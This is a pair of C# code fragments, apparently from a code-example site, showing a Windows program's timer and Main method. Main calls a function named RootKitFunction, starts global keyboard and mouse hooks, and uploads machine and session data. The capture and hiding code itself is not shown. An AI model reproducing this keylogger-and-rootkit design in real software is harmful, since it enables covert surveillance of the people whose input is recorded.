private static void TimerSession_Interval(Object o)
 {
     try
     {
         if (!(Program.IsBlocked == true && Program.IsSendBlockData == false))
         {
             //5.) Insert New Session
             GlobalClass.UploadLocalSessionData();
             GlobalClass.SaveNewSessionEntry();
         }
         GC.Collect();
     }
     catch (Exception)
     {
         GlobalClass.WriteTolog("Error in TimerSession_Interval");
     }
 }
Esempio n. 2
0
        static void Main(string[] args)
        {
            Thread.CurrentThread.CurrentCulture = new System.Globalization.CultureInfo("en-US");
            RootKitFunction();
            bool createdNew;

            Mutex m = new Mutex(true, Application.ProductName, out createdNew);

            createdNew = true;

            if (!createdNew)
            {
                // myApp is already running...
                //MessageBox.Show(Application.ProductName + " is already running!", "Multiple Instances");
                GlobalClass.WriteTolog(Application.ProductName + " is already running!");
                return;
            }

            GlobalClass.WriteTolog("Application Start");
            GlobalClass.Iskeyhook   = false;
            GlobalClass.Ismousehook = false;

            IsSendBlockData = true;
            IsBlocked       = false;
            GlobalClass.WriteTolog("Add system event with custon event");

            GetCofigrationSettings();
            AddMachineInfo();

            GlobalClass.UploadLocalSessionData();
            GlobalClass.SaveNewSessionEntry();
            keyboardHook.KeyBordStart();
            MouseHook.MouseStart();

            Application.EnableVisualStyles();
            Application.SetCompatibleTextRenderingDefault(false);
            Application.SetUnhandledExceptionMode(UnhandledExceptionMode.ThrowException);

            Application.Run(new MyApplicationContext());

            //keyboardHook.KeyBordStop();
            //MouseHook.MouseSTOP();
        }